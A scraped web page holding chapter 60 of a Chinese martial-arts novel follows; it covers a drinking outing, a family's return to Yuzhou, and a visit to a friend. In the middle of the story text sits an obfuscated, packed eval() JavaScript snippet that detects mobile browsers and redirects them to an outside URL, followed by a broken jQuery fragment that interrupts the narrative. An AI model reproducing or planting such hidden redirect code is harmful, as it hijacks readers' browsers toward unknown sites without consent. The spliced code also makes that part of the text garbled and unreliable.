60.归府
作品:《醉里挑灯看美人》 段镜在床上趴了两天才下地,这两日里,容瑃厌干脆在他厢房里住下了,整日里跑前跑后,给段镜做跑腿的。
段时每日都来他床前念叨着,要修身养性,切记不可浮躁,段镜只觉度日如年,待身子有所好转后,说什么也不肯在床上将养了。
“淮允哥哥,姨母说你伤好了,明日就该启程回豫州了,瑃儿想跟淮允哥哥一起去,你能带上我吗?”
容瑃厌说这话时,眼眶红红的,看着楚楚可怜。
段镜从金潇那里听说过容瑃厌和容秀的处境,心里一软,点头:“行啊,你跟我回豫州,哥哥定会罩着你的。”
“太好了!”
容瑃厌兴奋得手舞足蹈。
段镜:“走吧,哥哥带你出去吃好吃的。”
段镜从来不是闲得住的人,他带着容瑃厌直接出了府,准备去喝酒。
“我跟你说,作为一个顶天立地的男人,一定要学会喝酒,今日,哥哥就带你去见见世面。”
邻家酒肆在一品楼对街,老板做生意老实本分,酿酒手艺绝佳,因此生意兴隆,容瑃厌没喝过酒,被段镜直接拉着来酒肆。
他见过自己那个名义上的父亲喝过酒,每每喝醉了,就会发脾气打母亲。
容瑃厌内心是非常抗拒的,但见段镜一脸热络的表情,只得木着小脸陪他一起坐下。
“老板,来一斤牛肉,四两女儿红再加一壶果酒。”
老板很快送来了酒和牛肉,段镜看着桌对面的容瑃厌脸色不是很好,调侃道:“怎么,不想喝吗?”
他说着,用筷子夹了一块牛肉直接塞到容瑃厌的小嘴里,还顺手给他倒了一杯果酒。
“你年岁尚小,来,先试试果酒吧,是甜的。”
看着杯盏里的酒水,容瑃厌蹙了蹙眉头,他又抬眼看向段镜,对方冲他挑挑眉,他咬咬牙,直接端起酒盏一饮而尽。
味道却是出乎意料的好,甜甜的,一点都不涩口,喝起来还有淡淡的果香。
“这个…真好喝。”
容瑃厌眼睛亮了,他没有再纠结,对段镜扬起小脸,笑道:“哥哥,我还要喝!”
段镜:“我就说你会喜欢吧。”
两人就这样,将一斤牛肉和酒水都喝了个干净,可果酒到底也是酒,容瑃厌喝到后面直接就醉了。
段镜酒量好,他一边小酌,一边欣赏着容瑃厌红扑扑的小脸。
“淮允哥哥,我跟你说啊…嗝~其实我有两个兄长的…不过,嗝~他们只是我…名义上的兄长,不算的~嗝~在我心里,我只有你这…一个哥哥。”
容瑃厌醉得狠了,开始自说自话,他一边说着一边打起酒嗝,将心里的不痛快全吐了出来。
“我娘…我娘她是续弦,她有了我…以后,爹就死了…他们西域人…有兄终弟及的习俗…我爹是幺子,他死后…我娘就跟了大伯…呜呜呜,他们都欺负我…还有我娘。”
“原来如此,难怪你和姨母会回中原来,若是不想回去,以后就一直留在段家吧,我会把你当亲弟弟照顾的。”
段镜动了恻隐之心,他没想到,容瑃厌还这么小,居然就已经经历了那么多波折。
“我喜欢你…淮允哥哥。”
容瑃厌嘿嘿傻笑着,说完小脑袋便趴在了桌上,睡过去了。
段镜无奈的笑出了声:“真拿你没办法,好好好,我知道了,你喜欢我,我也喜欢你,瑃儿弟弟。”
豫州离庐州不远,赶车也只需一个礼拜,临行时,魏蓉舍不得金潇和两个外孙,一味强忍着泪水。
金潇也有许多年没回来了,这次回来匆忙,又走得匆忙,除了放心不下魏蓉,便只剩满肚子的怨气。
三月的天总是说变就变,这会儿还是晴空万里,眨眼间便阴云笼罩,车队很快出发回豫州,一直到金府宅邸消失在视野中,金潇才忧心忡忡的关上车窗。
回途中,因为多出两个人,只得又租了辆马车,容秀同金潇坐一辆,段镜和容瑃厌坐一辆,段时则骑马跟着。
段镜不太放心母亲,让段时回马车,自己骑了马追上前面的马车。
段镜很快便追上了马车,他打马在车外询问:“娘是还在担心韩三娘会带人上门闹事吗?”
金潇听见动静又推开了车窗:“经此一事,她应当不会再上门,你伤还未好,快回马车去,你们三个挤一辆马车也行的。”
容秀坐在一旁,笑容温婉,轻声道:“真是叨扰你们了。”
“怎么会,我们自小一同长大,你可别对我生分。”金潇笑骂一句:“不然,你就是不认我这个姐姐。”
见母亲无事,段镜心中宽慰些许,他扬起马鞭,笑得肆意:“那我们回豫州了,驾。”
马鞭啪的一声响,马儿吃痛撒蹄便跑了出去。
“这孩子,伤还没好呢,不好好休息,怎么能跑马,淮州也不拦着点。”
金潇只觉头疼的揉了揉眉心。
容秀却笑得很欣慰:“他都十岁了,正是好动的年纪,倒是我家那孩子,若是也能有如此性情,就好了。”
说起容瑃厌,容秀顿了顿,眼里闪过一抹苦涩。
金潇见状,拉着容秀的手轻轻拍了拍,随即宽慰道:“瑃儿他,从小过得太苦了,今后就留在段家吧,我会视他如己出的,淮允和淮州也会拿他当亲弟弟对待,那西域就是个虎狼之地,等回了豫州,我便让淮允教他武功,以后好用来防身。”
“你也别回西域了,如今天高海阔,量他们现在也找不到你。”
豫州因瞿溪而出名,天曜盟作为武林第一大家族,现任盟主段海更是武林盟主,至今已有十年。
车水马龙的闹市上人潮拥挤,商贩叫卖声络绎不绝,百姓们安居乐业,一派祥和。
天曜盟位于闹市中心,他们一路回了府,段镜骑着马先到,看着熙熙攘攘的闹市,他翻身下马,管家徐则贵收到消息,第一个出府迎接主子的归来。
他伸手接过段镜扔来的马鞭,目光扫了眼他身后:“二公子,夫人和大公子还未到吗?”
段镜锤了锤酸痛的肩头:“快了,他们马上就到了,徐管家,东方复那臭小子近来可有来府上找我。”
“东方公子这几日来过两次,不过二公子没回府,倒是有话留给公子。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139600|156681||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
段镜替追风顺了顺毛,闻言挑眉:“什么话?”
徐则贵有些为难,迟疑道:“他说马上就到寒食了,那日他约了白小姐出府,要同公子去城外踏青。”
“他约玉拂作甚。”
段镜沉了脸:“玉拂是个姑娘,怎能同我们一起出城踏青,虽说我们还未及冠及笄,但也会有损姑娘家的清誉,一会儿你差人去白家说一声,我晚点去找东方复,不用等我用膳。”
徐则贵面色发苦,对此为难不已,他纠结半晌,还是苦口婆心的劝诫他:“二公子,那东方公子平日里不学无术,不思进取,年岁尚小,便是瞿溪有名的纨绔子弟,二公子,老奴舔着脸也要劝您两句,别同他再来往了。”
“我们两家可是世交,我同他关系好些,不是应当的吗?”
段镜不以为然的耸耸肩,反手就将追风的缰绳也塞到了徐则贵的手里。
“别说了,一会儿我娘他们到了,我就走不掉了。”
缰绳一离手,段镜立刻施展轻功离开了段府,留下徐则贵无奈的站在原处叹气。
东方府离段府只隔了一条街的距离,段镜几个纵跃间就到了。
因着时辰尚早,他直接向守门的家丁打了声招呼。
那家丁对他也是相当熟悉,熟络的回府去找东方复通禀。
不过段镜运气不好,正好撞见东方老爷在教训东方复。
东方复身上挂了彩,近日里都不敢出府,听说段镜回来了,他便瞒着下人偷偷从后门翻墙出来。
他的武功只能算是三脚猫的功夫,但是翻个墙还是绰绰有余。
段镜就等在后门的枫树下,见人呲牙咧嘴,一瘸一拐的从墙院上翻下来,看好戏似的拍拍手。
“有段时间没见,怎么就这么狼狈了。”
段镜说着,上前搀扶起他:“又被打戒尺了吧,你看你这手心红得。”
东方复小脸紧皱,哀怨般横他一眼:“你不在,我每次偷溜出府玩,都会被我爹抓个正着,徐管家又不知道你什么时候能回来,这些日子,给我憋坏了。“
段镜看着他红肿的掌心,挑了挑眉:“那你爹这次打你作甚。”
东方复:“还不是那个老学究,说我背不出他出的题,被我爹好一顿教训。”
“那些个什么四书五经的,我根本背不下来啊。”
段镜没上过书院,他从小被逼着学武,学业都是请教书先生入府教习的,他也没有令先生失望,一学就会,几乎不让段海操心。
“四书五经我六岁不到就背完了,你啊,有空还是多背背书,不然下次你爹又该打你了。”
“走吧,好些日子不见,我做东,请你吃玉芳斋的绿豆酥。”
“在豫州呢,我怕赶不回来。”
东方复刚受了戒尺,这会儿还心有余悸。
“怕什么,你又不是第一次不归家了,你这点胆量都没有吗?要是门上锁了,咱们上福禄客栈去住一晚便是。”
段镜说着,拽着人脚下生风,一溜烟就来到了城门口。
东方复思量一番,最后心一横,还是跟着段镜去了豫州。